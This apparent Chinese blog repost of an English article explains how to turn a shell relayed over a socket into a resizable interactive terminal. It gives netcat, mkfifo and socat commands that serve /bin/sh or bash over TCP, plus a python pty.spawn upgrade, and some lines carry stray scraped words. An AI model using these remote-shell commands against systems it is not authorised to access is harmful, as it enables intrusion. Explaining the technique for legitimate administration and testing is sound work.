從彈個shell到彈個終端窗口tty

Simple: shell over socket

## netcat

# client
nc  -nvlp 13337

# server
nc -e /bin/sh localhost 13337

# tips
# RHEL系本地監聽不須要指定-p參數 使用nc -lv 13337
# FreeBSD系沒有-e參數,使用以下
rm -f x; mkfifo x; /bin/sh 2>&1 < x | nc localhost 1234 > x
## socat

# client
socat - TCP:localhost:1337

# server
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash

    缺陷:html

        部分程序沒法正常的退出,按CTRL+C會直接退出終端,如top,vim,emacspython

Better: tty over socket

# server
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

# client
socat FILE:`tty`,raw,echo=0 TCP:localhost:1337

   如今咱們就有了一個 tty會話窗口, 咱們能夠按 Ctrl-C (^C) ,也能夠運行一些tty命令如: top, vim, emacs, ssh, su, sudo等git

    問題:github

        運行部分tty程序的時候會遇到顯示窗口比較小的問題,採用以下解決shell

# 設置本地終端
$ stty -a
speed 38400 baud; rows 40; columns 130; line = 0;
# 設置鏈接終端
$ stty rows 40 cols 130

    缺陷:vim

        每次執行一次窗口的會話,就須要從新設置一次bash

Implementing it

Since there is no option in socat to magically do that, first we need to re-implement both server and client sides of what socat was doing, then we will improve it.ssh

  • server: we need to get a pseudo-terminal, which is OS-specific. On Linux we'll open /dev/ptmx, this gives us the master which we'll connect to the socket. With an ioctl we get the name of the slave and open its corresponding /dev/pts/N (like your terminal!), unlock it and give it as stdin/stdout/stderr to the shell.socket

  • client: we need to take over the terminal, the shell's stdin being a terminal we'll make it raw, then connect it to the socket. Making the terminal raw has the effect that signals such as Ctrl-C will now go on the socket.ide

Terminal window resizing

So we've reached the same point as we had with socat. Now, what's up with window changes? Well, turns out when you resize your terminal window a SIGWINCH signal is delivered!


Also, we can get and set the window size with ioctl TIOCGWINSZ and TIOCSWINSZ.


Here's what we can do: catch this signal on the client, get the new window size, send it over the socket to the server, which will set the window size on the pseudo-terminal, and send the same signal to the shell so it knows it can resize.

Unfortunately there's one problem: we have only one socket, and it already relays the terminal data. So we need another, or rather, we can multiplex the socket to give us 2 channels: one to exchange data, one to push window size information from client to server.

We do that and finally... we have it ! A remote shell terminal, which we can resize and it gets updated. Fancy! I did an implementation in Go if you want to look or try.

Now if we just add some TLS, we're not too far from SSH. And using this multiplex of streams on the socket we could even add port forwarding, file transfer, etc. all in the same connection.

final:

    做者提供了一個本身用GO實現的服務端和客戶端。

    https://github.com/StalkR/misc/tree/master/pty

    PS: 上面太長了,不翻譯了 - -

    Via: http://blog.stalkr.net/2015/12/from-remote-shell-to-remote-terminal.html

2016-5-23:

    

python -c 'import pty; pty.spawn("/bin/bash")'
相關文章
相關標籤/搜索